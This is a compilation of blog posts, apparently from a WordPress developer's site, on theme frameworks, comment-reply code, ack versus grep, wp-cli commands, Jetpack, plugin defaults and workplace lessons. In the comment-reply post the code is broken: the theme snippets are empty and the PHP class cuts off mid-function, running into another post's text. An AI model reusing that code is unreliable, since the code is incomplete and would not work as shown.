When you start looking at managed vs starter, it gets clearer. I call Genesis managed because that’s how the end users will see it. It’s not a starter, because people don’t fork Genesis to make a new theme, they use it and make children.
The following explanation is using the two frameworks I’m most familiar with.
Hybrid is a *Starter Theme Framework*. People download it, extend it into their own theme (see Oxygen, News, etc, all of which are stand-alone themes in the repository), and use those themes as full born ‘traditional looking’ themes. They can make children theme, but the point is not that Oxygen (built off Hybrid) is a theme or not, but that Hybrid, it’s source, is *not* a theme, but a Framework. They are separate things.
Gensis is a *Managed Theme Framework*. It remains a separate parent theme, and technically can be used as is (it’s a very nice basic theme), so in that way it’s a Framework, but people don’t take that as a base theme and extend it like they do Hybrid. When you make a child theme of Genesis, it’s a true child theme, and never a copy of Genesis, renamed, and extended. Thus, Genesis could be a framework, but it’s really a managed theme because you never fork it, you always manage it via the dashboard or a child theme. Genesis is a theme built off a framework, and no one else uses that framework but Genesis.
If you treat everything like a nail, you’ll always use a hammer. And a nail will go wherever you want if you hit it hard enough. I don’t suggest that, by the way, and as a principle of forcing your way on everyone, it’s not a good one. Treating all theme types as exactly the same will get you into trouble. If I extend one the nail/screw metaphor, one reason themes take on so much is that they can’t install plugins. Managed themes are a great example of themes crossing the line between being a hammer (theme) and a screw (plugin).
A starter theme framework is Home Depot. All the tools are there, there’s even some help, but you’re going to pick out your tools and your lumber and build what you want. When you need more, you can invent and create anything you want. You may have to go back to the store and buy more nails and screws, but your limit is your own ability and imagination.
A managed theme framework is Ikea, with that Ikea Toolkit. It has all the parts you need, and while you can hack the bookshelf into a standing desk with little work, and no extra parts, you’re meant to use it out of the box and follow their directions to design differently. And when you need more, there are plugins to add on to what you have to make it more. Within limits.
## My Recommendation
Use what you like, but understand what you’re using.
Themes are very personal. A plugin is easy, you want something to fit a specific niche, you find it, you use it. You may pick one over another based on ease of personal usability, but the final function is the real deal breaker. A theme, on the other hand, has to look right and feel right to use, and that’s very, very hard. No matter which one I use, and I use a theme, a framework, and a managed all on my sites, I make sure it meets my feel-good and my needs. I know I’m perfectly comfortable hacking functions to bend to my whim, but if I was handing over a theme to someone less techy, I would think twice.
When you’re making a site for someone else, think about how much you want to support. The more complex a theme, and the harder for the users to edit it, the more calls you get. Even when you’re making a site for yourself, you have to know what kind of theme you have, and the best way to edit it. If you’re using a stand-alone theme, built on a framework or not, once you know how to use child themes you’re good to go. But a managed theme may be a new learning curve for you, so remember to take time and ask around for how to use this theme the best way.
The best thing about learning to use a managed theme is that they’re usually used to the newbies, so for an experienced theme dev, that learning curve is short and shallow. You already know how to find the docs, read them, and apply them. You know that there will be options, between editing functions.php and using a plugin, and you can weigh the pros and cons for yourself and your clients.
Understand what you’re using, understand how it works, and use what makes you happy.
**Categories:** How It Is
**Tags:** design, essay, support, themes, wordpress
---
### [WP Comments ReplyTwo](https://halfelf.org/2013/wp-comments-reply-two/)
**Published:** October 10, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Creating a nested plugin solution for @replies and always-on-reply-links with some theme and plugin code.
**Content:**
WPTavern has this cool thing where, without threaded comments, you still have a reply link, *AND* it creates an automatic link back to the original comment.
Let me rewind. If you have threaded comments, then you get a ‘reply’ link on the bottom of a comment, and it lets you make a threaded reply. Yay! There are problems with this, though, as after a while, if you get nested deep enough, you can’t reply under anymore, and have to go up to click reply on the previous post and on and on.
Back eons ago, WPTavern solved this with a function, and like all great sites documented it! The problem? [The documentation was busted.](http://www.wptavern.com/how-to-mimic-the-wptavern-commenting-system) Now, yes, I did ping Jeff about this and asked him how it went, but in the meantime, I was impatient and looked up a plugin that *almost* fit my bill.
Enter [@ Reply](http://wordpress.org/plugins/reply-to) (aka Reply To), which add in a reply link to all comments! Plus is gives you ‘Twitter like’ @replies, so when you comment, it starts “@foo:” automatically. This is just like what WPTavern has, perfect! Except… not quite.
My problems became two:
1. I want all comments to have a ‘reply’ link.
2. I don’t want the hover over image.
And I solved this with two code chunks: a plugin and a theme.
See, by default WP stops showing you the ‘reply’ link when you can’t nest anymore. To change that, you have to edit how your theme calls comments. Or rather, you have to change the comment\_reply\_link() call.
### The Theme Code
I’m already [customizing my comments in Genesis](https://halfelf.org/2013/customizing-comments-genesis/) so this was surprisingly simple.
What was this:
```
```
Becomes this:
```
```
Basically we’re lying to WP and saying we always show the link. I got that idea from [this stackexchange post](http://wordpress.stackexchange.com/questions/41237/non-threaded-comment-replies-with-link-to-original-comment), and as I understand it, we’re tricking WP by saying that every post is depth of 1, and has a max of 2, instead of letting it figure it out on it’s own. This is probably inelegant, but I couldn’t find another way to have the reply link always on.
### The Plugin Code
[](https://halfelf.org/wp-content/uploads/sites/2/2013/09/nested-comments.png)This was easier, in that I took the existing code, cleaned it up and removed the reply image, and that was pretty much it. Downside is that this does *not* work on every site. Notably, it doesn’t work unless threaded comments are turned on. When they’re not, it does a double-refresh.
That said, this is probably never going to be a plugin for the masses, so I’m content with having it work this way for me. Even if I only thread one comment at a time, it would let me group them together *and* get the @-reply. It’s already rather popular on the site I intended it for, and people like it.
So here’s the code:
```
class AtReplyTwoHELF {
public function __construct() {
add_action( 'init', array( &$this, 'init' ) );
}
public function init() {
if (!is_admin()) {
add_action('comment_form', array( $this, 'r2_reply_js'));
add_filter('comment_reply_link', array( $this,'r2_reply'));
}
}
public function r2_reply_js() {
?>
~/Development/WP-Plugin-Greps/base64-grep.txt
```
This works, but it’s slow and it’s not very pretty. The file output is a mess and it’s painstaking to sort through and understand.
```
/home/me/Development/WP-Plugin-Dir/jetpack/class.jetpack-post-images.php: ob_start(); // The slideshow shortcode handler calls wp_print_scripts and wp_print_styles... not too happy about that
/home/me/Development/WP-Plugin-Dir/jetpack/modules/comments/comments.php: ob_start();
/home/me/Development/WP-Plugin-Dir/jetpack/modules/contact-form/grunion-contact-form.php: ob_start();
/home/me/Development/WP-Plugin-Dir/jetpack/modules/custom-css/custom-css.php: ob_start('safecss_buffer');
/home/me/Development/WP-Plugin-Dir/jetpack/jetpack.php: ob_start();
/home/me/Development/WP-Plugin-Dir/jetpack/jetpack.php: ob_start();
```
On the other hand, there’s this:
```
ack --php 'ob_start' ~/Development/WP-Plugin-Dir/ > ~/obstart.txt
```
That actually gives a rather similar output:
```
/home/me/Development/WP-Plugin-Dir/jetpack/class.jetpack-post-images.php:36: ob_start(); // The slideshow shortcode handler calls wp_print_scripts and wp_print_styles... not too happy about that
/home/me/Development/WP-Plugin-Dir/jetpack/modules/comments/comments.php:138: ob_start();
/home/me/Development/WP-Plugin-Dir/jetpack/modules/contact-form/grunion-contact-form.php:264: ob_start();
/home/me/Development/WP-Plugin-Dir/jetpack/modules/custom-css/custom-css.php:350: ob_start('safecss_buffer');
/home/me/Development/WP-Plugin-Dir/jetpack/jetpack.php:872: ob_start();
/home/me/Development/WP-Plugin-Dir/jetpack/jetpack.php:928: ob_start();
```
That’s ack, which claims to be [better than grep](http://betterthangrep.com/), and I’m kind of agreeing. Let’s look at the small differences.
- Line numbers. That will help me find the code later.
- Only searching PHP files
- Recursive by default
- Ignores SVN and other similar folders.
How do you do only PHP files in grep?
```
grep pattern $(find . -name '*.php' -or -name '*.phpt' -or -name '*.php3' -or -name '*.php4' -or -name '*.php5' -or -name '*.phtml' )
```
Right. Like I’m going to remember that.
And we can make ack better. Let’s ignore a folder:
```
ack --ignore-dir=akismet 'string'
```
How about customizing my output so I can check how often a plugin is doing\_it\_wrong()?
```
ack --php --group 'ob_start' ~/Development/WP-Plugin-Dir/ > ~/obstart.txt
```
That’s a little easier to read.
```
/home/me/Development/WP-Plugin-Dir/jetpack/modules/custom-css/custom-css.php
350: ob_start('safecss_buffer');
/home/me/Development/WP-Plugin-Dir/jetpack/jetpack.php
872: ob_start();
928: ob_start();
```
Just want a list of the filenames?
```
ack --php -l 'ob_start' ~/Development/WP-Plugin-Dir/ > ~/obstart.txt
```
Or what if I want to search all instances of `ob_start()` in `jetpack/jetpack.php`? [You can make ack sit up and beg](http://stevengharms-blog.herokuapp.com/blog/2012/04/10/use-ack-instead-of-grep-to-parse-text-files/).
You can see that ack is a lot more powerful right away when it comes to being able to quickly use the data without a lot of parsing. There are some catches with ack, though, like it has a whitelist of file types that it will search, so if you don’t tell it to search .html, it won’t. That’s a small price to pay for me.
The [documentation](http://betterthangrep.com/documentation/) is written in nerd, so I generally find looking at concrete examples is more helpful. Do you have tricks with ack (or even grep) that save you time and money?
**Categories:** How It Works
**Tags:** command line, unix
---
### [Drag to Choose File](https://halfelf.org/2014/drag-to-chose-file/)
**Published:** October 1, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** This one trick saved a half-elf hours of work with clicking on buttons!
**Content:**
I don’t know why I never knew this. Did you know you can drag a file to the ‘select file’ button on Chrome?
You know the button, right, this one that just says *Choose File*:
[](https://halfelf.org/wp-content/uploads/sites/2/2014/09/chose-file.png)
I happened to be testing if the drag/drop area was working (it wasn’t) and I noticed the button changed colors when I dragged the file over it:
[](https://halfelf.org/wp-content/uploads/sites/2/2014/09/mid-drag.png)
So I let go and it was there:
[](https://halfelf.org/wp-content/uploads/sites/2/2014/09/drag-complete.png)
And yes, it worked. This will save me hours of work!
**Categories:** How To
**Tags:** browser, ux
---
### [Upgrading Multiple Macs](https://halfelf.org/2013/upgrading-multiple-macs/)
**Published:** October 22, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** What if I told you ... you only had to download that 5 G file once?
**Content:**
So Mavericks came out and it’s about 5 gigs. You’re looking at your three computers and crying at your bandwidth caps.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/10/p8eul.jpg)
So check this out. Go ahead and download the new OS:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/10/Screen-Shot-2013-10-22-at-12.16.06-PM.png)
Now BEFORE you run it, go to your Applications folder (mine is mid-download, but you get the idea):
[](https://halfelf.org/wp-content/uploads/sites/2/2013/10/Screen-Shot-2013-10-22-at-12.11.32-PM.png)
By the way, that fake date is a very important date in Mac history. Cute, Mac.
Copy that 5 gig app somewhere else. Maybe a thumbdrive if you have one big enough. You can then copy that to *any other Mac* and upgrade. Or make a bootable DVD and use that to install. Enjoy.
Now I’ll be off to download once and upgrade thrice. Wish I could do it for iOS.
**Categories:** How To
**Tags:** apple, upgrading
---
### [Defaults Matter](https://halfelf.org/2014/defaults-matter/)
**Published:** May 9, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Determining default settings is a challenge. What are you trying to do? What do your users need you to do? What do you want and need?
**Content:**
We tout decicions and not options. We laud people who make it work, simply and efficiently. So how *do* we decide what the default decisions should be?
I was looking at a new plugin for an affiliate program, and it set up the links based on region. The way this plugin worked, if you don’t have an account specifically for that country, the plugin author had it set to use *his* ID if the user didn’t enter one. This is a small issue, in that the user may, unwittingly, be letting the dev earn money of their site. It’s also just not permitted. You don’t put up links or ads on someone else’s site without them checking a box to allow it, it’s gauche and against the .ORG guidelines.
Without knowing the issues of the affiliate app, I pushed back, and was surprised that the plugin dev was doing this because if he didn’t, the code would break. The affiliate program didn’t have a fallback to show a default location if you didn’t have an ID for that area, it just errored out. Thankfully, this developer and I worked out a solution. If there was no ID for the region, the plugin wouldn’t display the affiliate links. There was also a checkbox “Use the developer’s affiliate code in regions where you don’t have one!” that explained this would help feed and clothe the dev.
Another example. A plugin made a shortcode to play MP3s, and by default if you don’t have an MP3, it played one of him from his domain. Besides the fact that you’ll crash your server if you get popular enough, the fallback for that should be for the shortcode to output “Oh noes! No MP3 picked!”
This got me thinking about how we determine the defaults for anything. We pick what we want to support most, we guess at what people will use most, and we test what we can think of. But that isn’t easy at all. Start factoring in upgrades. You add a new feature and you want people to use it, so you turn it on to aid discovery (Jetpack does this). Not everyone likes that and gets mad that the first thing they have to do is disable it! So you think about alert boxes “Hey, you upgraded and there’s a new thing!” but then people hate dismissing those alerts.
Picking the right defaults for your intended audience matters. The affiliate code guy knew about an error if he didn’t do that, and compensated in a way that would be seamless for the users, but a little unethical (I felt) because it took advantage of their ignorance to make money for him. I’m kind of hip on educating the masses. The shortcode guy just didn’t think about the long-term ramifications. Neither actually meant to be harmful, but both were thinking about their users and their familiarity with things. Both were cognizant of the fact that a product not working because of incomplete settings should not break.
Determining your default settings is a race between education and simplification. It should be as simple and straightforward as possible to make things easier for the new users. At the same time, it should be made totally obvious in straightforward ways what the defaults can be changed to. This can be done with help screens in your plugins, but also in the welcome pages and the in-line explanations of setup. You can hide aspects of the code from users until they’ve finished pre-requisites.
Defaults are the one place where you have to actually try to know what the users will be thinking, so don’t worry if you get it wrong. You can always iterate.
**Categories:** How It Is
**Tags:** design, ux
---
### [Why I Write eBooks](https://halfelf.org/2014/why-i-write-ebooks/)
**Published:** January 20, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I love reading. And writing. I do it all the time. Alllll the time. Oh and a sneak announcement at the end. Read more to reveal all!
**Content:**
Shamelessly I steal the subject from [Chris Lema](http://chrislema.com/why-i-write-ebooks/). Again.
I write because I read. A lot. Someone told me they wanted to read 30 books in a year, which is about 2 a month, and I looked sheepish. I read about a book a week, depending on the book. It took me 2 weeks to get through *The Hunchback of Notre Dame*, and I read more when I’m traveling since I enjoy reading on planes. I’m a reader because my elementary school teacher, Nancy Sager, told me the *best* way to become a good writer was to read. So I read voraciously. Sometimes it’s books, sometimes it’s a graphic novel (and yes, I consider them a book, though I don’t count them on my ‘book a week’ list). I read and re-read and critique in my head.
But this isn’t why I read books, it’s why I *write* them. Like Chris, I write because I’m lazy. The whole reason I wrote [WordPress Multisite 101](https://store.halfelf.org/ebooks/wordpress-multisite-101/) was because I had a Word Doc with all that information in it, scattered, and when I started to make a table of contents, I thought that I could do it better. So I did. Similarly, I wrote the next two books for the same reason. I had all this information, and I could have made a ton of blog posts, but it’s actually easier for me to pick up that one book, search for the phrase, and find what I needed.
I also write because I have a story to tell. I don’t publish these as often if at all (good luck finding it), but I write fiction. Mystery novels, crime stories, that sort of thing. I write because I get these ideas and I want to tell the story. That translates well to my technical writing because people remember a story better than dull facts. I know the facts that Anne Bolyen, Jane Seymore, and Catherine Parr were all beheaded because of a song! Hilariously, the song is wrong, and it’s Anne and Catherine Howard who were headless, but how the Sweet Saint Marian can anyone tell with their heads tucked underneath their arms!
Now that you have the song in your head, you may think about how much easier it is to memorize scripts and poems and songs than it ever is to remember the list of British kings. That’s because a story makes it easier for most of us. And I like telling stories.
So I write because I want to have any easy way to find things, and because I want a fun way to remember them.
Interested in reading them? They’re about WordPress:
- [WordPress Multisite 101](https://store.halfelf.org/checkout?edd_action=add_to_cart&download_id=48)
- [WordPress Multisite 110](https://store.halfelf.org/checkout?edd_action=add_to_cart&download_id=57)
- [WordPress Plugin Support](https://store.halfelf.org/checkout?edd_action=add_to_cart&download_id=238)
- [WordPress eBookstore](https://store.halfelf.org/checkout?edd_action=add_to_cart&download_id=324) **NEW!**
What’s that last one? It’s Eric Mann’s fault. He said if I wrote a book about making an ebookstore, he’d buy it. And then Chris Lema said he’d do an intro. So fine. Here’s a 33 page ebook on making an ebookstore with [Easy Digital Downloads](http:/helf.us/edd). Enjoy the release of ebookception: [WordPress eBookstore](https://store.halfelf.org/checkout?edd_action=add_to_cart&download_id=324)
**Categories:** How It Is
**Tags:** ebooks, essay
---
### [Making a WP-CLI Plugin](https://halfelf.org/2015/making-wp-cli-plugin/)
**Published:** August 5, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Messing around with wp-cli, it was fun to learn how to make a plugin ... without a plugin.
**Content:**
[I love wp-cli](https://halfelf.org/2012/command-line-wp/). It makes my life so much easier in so many ways.
I’ve added in some basic commands to some of my plugins because it makes things easier for others. And as it happens, adding wp-cli commands to your plugins isn’t actually all that hard. But did you know you don’t have to?
## The Basic Code
For our example I’m going to make a command called `halfelf` and it’s going to have a sub-command called ‘stats’ which outputs that the HalfElf is alive. And that looks like this:
```
WP_CLI::add_command( 'halfelf', 'HalfElf_CLI' );
class HalfElf_CLI extends WP_CLI_Command {
/**
* Get HalfElf Stats
*
* ## EXAMPLES
*
* wp halfelf stats
*
*/
public function stats( ) {
WP_CLI::success( __( 'HalfElf is currently alive.', 'halfelf' ) );
}
}
```
The docblock controls the output for the help screen, which is possibly the most brilliant thing about it.
Of course, all that does is make a command that doesn’t rely on any WordPress plugin, which is cool. Here’s a different example. In this one, I’m triggering a command to my logger function to reset the backup log or to view it:
```
/**
* See Log Output
*
* ## OPTIONS
*
* empty: Leave it empty to output the log
*
* reset: Reset the log
*
* wp dreamobjects logs
* wp dreamobjects logs reset
*
*/
public function log( $args, $assoc_args ) {
if ( isset( $args[0] ) && 'reset' !== $args[0] ) {
WP_CLI::error( sprintf( __( '%s is not a valid command.', 'dreamobjects' ), $args[0] ) );
} elseif ( 'reset' == $args[0] ) {
DHDO::logger('reset');
WP_CLI::success( 'Backup log reset' );
} else {
file_get_contents( './log.txt' );
}
}
```
Because wp-cli runs as WordPress, it has access to WordPress commands and functions.
But. Where do we put this file?
## In a WordPress Plugin
If you want to use that code in a WordPress plugin, you put it in a file called `wp-cli.php` (or whatever you want) and then call it in your main WordPress plugin file like this:
```
if ( defined( 'WP_CLI' ) && WP_CLI ) {
require_once( 'wp-cli.php' );
}
```
If you do that, I would recommend putting this at the top of your `wp-cli.php` file.
```
if (!defined('ABSPATH')) {
die();
}
// Bail if WP-CLI is not present
if ( !defined( 'WP_CLI' ) ) return;
```
That will prevent people from calling the file directly or in other ways.
In the case of my `DHDO` code, I added in this check:
```
if( class_exists( 'DHDO' ) ) {
WP_CLI::add_command( 'dreamobjects', 'DreamObjects_Command' );
}
```
That means if (for whatever reason) DHDO can’t be found, it prevents you from doing things.
## On It’s Own
But. That first command doesn’t need a plugin, does it? So if it doesn’t *need* a plugin, could I still use them? The answer is of course. The `wp-cli.php` file is the same, but where you put it changes. This will all be done in SSH. You could do it in SFTP if you wanted.
In your home (or root) directory we have to make a folder called `.wp-cli` – please note the period, it’s like your `.htaccess` file. Except it’s a folder. In there you’re going to make a folder called `commands` and in *that* folder we’ll put another one for our commands. Like if I’m putting my HalfElf commands out there, I’d make a folder called `halfelf` and in there I put my command file `command.php`
That gives me this: `~/.wp-cli/commands/halfelf/command.php`
However that doesn’t act like plugins or themes or mu-plugins, you have to add the command to another file. I know, I know. Make a file called `config.yml` and put it in `.wp-cli` so you have this: `~/.wp-cli/config.yml`
The content of that file is this:
```
require:
- commands/halfelf/command.php
- commands/some-other/command.php
```
And that’s it! Now you’ve got some command line tools for your WordPress site!
**Categories:** How To
**Tags:** command line, plugins, wordpress
---
### [What I Learned From The Man](https://halfelf.org/2015/learned-man/)
**Published:** March 11, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I learned a number of things in my tenure at Le Bank, and a surprising number are still useful.
**Content:**
It’s no secret I worked for “The Man” for nearly fourteen years. I’ve learned some pretty amazing technical things from that, but I also learned some tricks about ‘working’ with a big company that have yet to fail me no matter where I worked. They were all lessons my family instilled in me, but having some pretty amazing people like Bonine, Margie, Joe P., Nikki, Rae, and a host of other amazing people all reinforce the morals of the stories, and it made me know that these were the right things.
## Always Admit Fault
Scariest moment of my life was the day I accidentally rebooted a trading server at 10am on Thursday. Those were only supposed to happen at 10*pm* on Thursday nights, well after all trading was done for the day. I did it mid-day which meant there was a high risk that in-flight data could be lost. I was tasked with diagnosing what had happened and, after a lot of review, I came back and said the only logical reason was I had typo’d when I scheduled the time. We since changed to 24/7 clocks and not AM/PM to mitigate, but I was up front about the error being me. Similarly, when a bad change I made to a script broke the internet for all of our UK offices, I said it was me, I fixed it, and I took the hit. This meant later when a change I’d fought against was put in and caused an outage, everyone *believed me* when I said I’d done it, but it was someone else’s idea. I had credibility and history and (of course) documentation on my side.
## Document It Or It Didn’t Happen
I had a boss whom I did not like. I liked the work, but working *with* him was terrible. He didn’t grove like I did, he was misogynistic and racist. He also had a flagrant disregard for protocol. Love it or hate it, when your company has specific steps to follow to do a thing, you do the steps. He didn’t want to and demanded I make an on-the-fly change. Verbally. I didn’t. This ended in a shouting match which our manager had to step in and settle. But before that event, I was told to make a change I knew was wrong. I demanded it be documented that this was a change in scope and a requirement by him. I then, under duress, made the change. It broke. I backed it out. That marks the last time I ever let it go that far and may explain to many people why I’m so firm about not letting people do ‘wrong’ or ‘bad’ actions. If I know something’s wrong, I won’t do it and I won’t help you do it.
## Remember You’re Special, And So Are They
I’m a techie. I know all sorts of weird things. Remembering that I know those things and understand the different between minimizing a screen and closing a window is important. Joe reminded me about that once. I never forgot it. I also don’t forget that my place is to make sure problems are solved. So just because I don’t panic doesn’t mean I’m being cavalier, but at the same time I have to make sure the other person knows that.
[](http://xkcd.com/1479/)Credit: [xkcd](http://xkcd.com/1479/)That window resize via a resolution change was the only way to fix a specific problem with a specific app. I used to travel across town to do it for people because trying to walk them through it on the phone was too difficult.
## Use Your Calendar
“I’m sorry, I’m really busy.” has a lot more weight when they look at your calendar and see it’s booked. Solid. When I know I need to spend time working on a specific project, I schedule it as booked time and that way everyone can see and understand I’m busy. This is also a respect issue. If someone schedules a meeting, you confirm and click that damned ‘I accept’ button. It’s a contract, or a friendly agreement, in order to tell someone ‘Yes, I will be there.’
## Don’t Waste Group Time
Irony. If you think about big companies, you think about wasted meetings where people never get anything done. I’m not talking about that (which is a thing). I’m talking about wasting time with being disrespectful of the meeting. Keep your phone/mic on mute in a conference call so no one hears you pounding on a keyboard. Turn off your video feed if you’re not presenting so you speed up the internet for everyone. Joining in a massive meeting with hundreds of people? Get a conference room for your location to prevent overwhelming the system. If it’s an on-line, text meeting, follow the announced protocol.
## What Did You Learn?
I’m not the only open-sourcer who used to work for the Man. Did you learn anything that you still use today?
Those meetings, by the way, are generally a waste of time. I greatly prefer stand-ups. Everyone gets 60-90 seconds to state status. Everything after is taken outside meetings.
**Categories:** How It Is
**Tags:** business, essay
---
### [Jetpack Koolaid](https://halfelf.org/2013/jetpack-koolaid/)
**Published:** May 7, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I guess I'm drinking the Automattic Kool-aid when I say I don't really have a problem with Jetpack.
**Content:**
[](http://www.nicolelorenz.com/art/unicorn-jetpack-2/)Credit: [Nivole Lorenz](http://www.nicolelorenz.com/art/unicorn-jetpack-2/) 2010. Pencil sketch on copy paper.
Sometimes I draw unicorns. Sometimes they have jetpacks.WordPress Jetpack gets a lot of grief, and for an understandable reason. From some perspectives, it does everything we hate about plugins. But there are reasons and methods behind the madness. I’m going to hit them from my perspective as best I can, without ever considering the ‘Automattic sucks!’ arguments I’ve heard. I’m reasonably sure Automatic is neither *trying* to be a dick nor are they evil (egotistical maybe, but not evil). If you go in assuming there has to be a reason for all this, even if you don’t like it, you can understand it a little better.
### Why one big plugin and not 20+ separate ones?
Actually I’m going to come back to this one, but there’s a reason, so hang on.
### Why do I have to connect to WordPress.com?
This is a better place to start. You have to connect to WordPress.com because they’re providing a service. Not everything runs on your server, so in order for the modules to work, you have to let your server talk to WordPress.com. That one makes sense to just about everyone, I hope.
Less obvious is exactly how this benefits you. I’ll give you a real annoying example: Twitter’s API. You may not know, but Twitter throttles API usage based on IP address. So if you’re on a shared server, and everyone uses Twitter on their blogs, you may get your API cut off and no Twitter updates show on your site. Bummer! On the other hand, WordPress.com has a gimmie from Twitter, letting them post as much as they want.(Probably not unlimited, but enough for us.) This is also true of Highlander (aka the comments plugin), which transmits data between multiple hosts instead of you having to set up OAuth, which if you’ve tried, you’ll see why Jetpack Comments are way easier.
### But why do I have to connect to use any of the modules?
This usually comes up when someone only wants to use one feature, let’s pick the contact form, which *doesn’t* need to communicate with WordPress.com to run. The best reason I had is ‘It’ll make it easier if you later decide to turn on the other features later.’ I tossed this around for a while, considering the users I work with every day, and I’ve finally agreed that for the *common* user, it’s better to have to do one setup, once, and be done.
After years of free support, and now doing this for a living, the common user doesn’t have the experience to understand that while I may need to connect to WordPress.com for the stats, why do I need it for a mobile theme? The problem comes up when the user wants to start with the items they don’t need to connect. Springing it on them later is an uphill battle I wish I didn’t have to make. So yes, it’s sensible for the average user. As Helen said, [Jetpack is for users, not developers](http://helen.wordpress.com/2013/01/01/why-i-dont-have-a-problem-with-jetpack/).
Anyway, if you know for sure you (or your client) will never want to connect to .com, then you can use the new [development mode](http://jetpack.me/2013/03/28/jetpack-dev-mode-release/) (as of version 2.2.1) and add `define( 'JETPACK_DEV_DEBUG', true);` to your wp-config.php file. Done.
### If the .org repository doesn’t let people host marketplace plugins, what’s up with VaultPress?
VaultPress is selling a service, not a plugin. It’s hairsplitting, but look at Akismet (which *also* could be a pay-to-use product). It’s ‘free’ but you’re encouraged to pay. If they went pay-only, which I could easily see them doing if they started over, they would be a perfect candidate for Jetpack. Where VaultPress rubs the ‘Hey wait…’ button is when you remember that there *is* a separate plugin for it. So this is like if they let you signup for Akismet within Jetpack… Oh, wait, Akismet’s links are in the Jetpack menu now. Still, of all the questionable things Jetpack does, this is actually the only one that really makes me Spock the Eyebrow(Yes, that is what the favicon is.) because it’s just a little off.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/05/800px-Kool-Aid_96434426.jpg)
### Why the auto-activate?
Users won’t know otherwise. If you don’t turn things on, they’ll never see it. I don’t like it, especially when I’m using a plugin that got folded in (see CSS editor or Grunion), but they learned the Grunion lesson! When the CSS editor joined Jetpack and I upgraded, it turned *off* the old editor. That was smart, and takes away my User-Ipstenu complaint of auto activation. Remember! This is a user plugin. Not a developer one. Calm yourself.
### Why is it one big plugin?
This needs some history.
A few years ago, the concept of ‘Canonical Plugins’ (or Core Plugins depending on if you asked a core contributor or anyone else) came up, and it was an idea for stuff that is (or used to be) in core, but wasn’t used all the time. Examples of this would be the content importer plugins which are used once or twice in a site’s lifetime. [To quote the original poll and announcement](http://wordpress.org/news/2009/12/canonical-plugins/):
> Canonical plugins would be plugins that are community developed (multiple developers, not just one person) and address the most popular functionality requests with superlative execution.
That was 2009, and here it’s 2013 and we don’t really have any yet. Jetpack certainly isn’t one, though in many ways it hits those ‘popular functionality’ feelers dead center. In a way it is a canonical plugin, but it also clearly illustrates why some of the most popular plugins would be very difficult to pull off without the infrastructure that Automattic already has. So while I wouldn’t call Jetpack a ‘Core Plugin’ (it’s not community developed), it’s sort of a great example of what a core plugin suite would look like and the issues with it.
Now, *why* is it a ton of plugins in one? Well why not? A lot of people hate installing six or seven plugins because “it makes their site slower” (not really), and the way Jetpack does it is remarkably elegant, in that you can turn off the parts you don’t use. The problem I have with Jetpack is it’s size. It’s big. It’s almost the size of WordPress and at 4.2 megs, it’s slow to install. I find that it’s way easier for me to run via wp-cli and upgrade, but not everyone has that option.(That said, I don’t have a problem upgrading on my smaller sites when they don’t get a ton of traffic. Upgrading on my busiest site *while* it’s busy is always stupid and I know it.) The size problem is also a hassle because WordPress doesn’t (yet?) do incremental updates for Plugins. When you have a series of upgrades then security fixes on a large plugin, it’s annoying.
More likely is the idea that these plugins can share APIs and features if you lump them together, making one big plugin *smaller* than twenty-odd separate ones.
### What is this dev mode of which you speak?
Oh it’s neat. Put `define( 'JETPACK_DEV_DEBUG', true);` into your wp-config.php file and here’s what happens:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/05/Very_Mobile_Home.jpg)
1. Everything defaults to OFF
2. You can only activate the following:
- Carousel
- Sharing
- Gravatar Hovercards
- Contact Form
- Shortcodes
- Custom CSS
- Mobile Theme
- Extra Sidebar Widgets
- Infinite Scroll
The only ones missing that surprised me was LaTeX (I guess it phones home to parse…) and the new Tiled Galleries. Why is that cool? Well now you don’t need to connect to WordPress.com to run those things!
### Are you drinking the kool-aid?
Oh. Probably. I honestly like Jetpack. I hate having to set it up for clients (I end up in an Incognito Window, creating a new WP.com account for them, and that whole hassle), but once it’s done, it’s really worthwhile. It does everything I need and while there are parts I don’t need, I’ll live with it. That said, having it set up for people like my father means there’s less I have to worry about with finding plugins for him. Most of what he needs is right there in Jetpack.
### I hate Jetpack, I’m never going to use it!
Okay. Don’t use it.
I’m not defending it’s uses for all cases. If Jetpack doesn’t fit what *you* need, don’t use it! That’s totally fine. I just hate reinventing wheels. There are always alternatives to what Jetpack’s got (Contact Form 7, Google Analytics, and so on), so you can use any tool you like. There are pros and cons with everything, and it’s up to you to decide where your own break point is.
**Categories:** How It Is
**Tags:** plugins, wordpress
---
### [My WordPress Scripts](https://halfelf.org/2010/my-wordpress-scripts/)
**Published:** December 30, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Speaking of when to code... I get asked "If you don't use the built in WordPress upgrade tool, how do you upgrade your install?" a lot. So... here's how.
**Content:**
 I actually have a couple little scripts I use to update my site instead of using the WordPress built in tools. Invariably, when someone has problems with the automated upgrade tool I comment that I rarely use it. That means people ask me ‘Well how *do* you update WordPress?’ and I tell them ‘Manually.’ Which isn’t really true. Sometimes I say ‘I wrote a script.’ So … here’s my scripts for upgrading WordPress. I don’t have one for themes, since I always do that manually and check everything. That’s the bane of having highly customized child themes.
These are both Bash shell scripts and run perfectly happily on my server (Linux running CentOS). They’re GPL2, free, and somewhat use at your own peril.
**[WordPress Upgrade Script](https://halfelf.org/scripts/wordpress-upgrade-script/)**
**[WordPress Plugin Script](https://halfelf.org/scripts/wordpress-plugin-script/)**
As I went to post these, I took a bit of time cleaning them up, putting in comments (the ‘Blame Nacin’ bit is a joke) and formatting them nicely. When I started to look at the plugin one, I realized how freakin’ crazy it is and how many weird custom things I tucked in there. Also I made it so you always had to put in a version number, which if I wanted to ‘release’ that, is something to do away with. One of the catches with it is that a plugin’s ‘default’ zip file of `plugin-name.zip` is the trunk build. So you’d always have to know your version to upgrade.
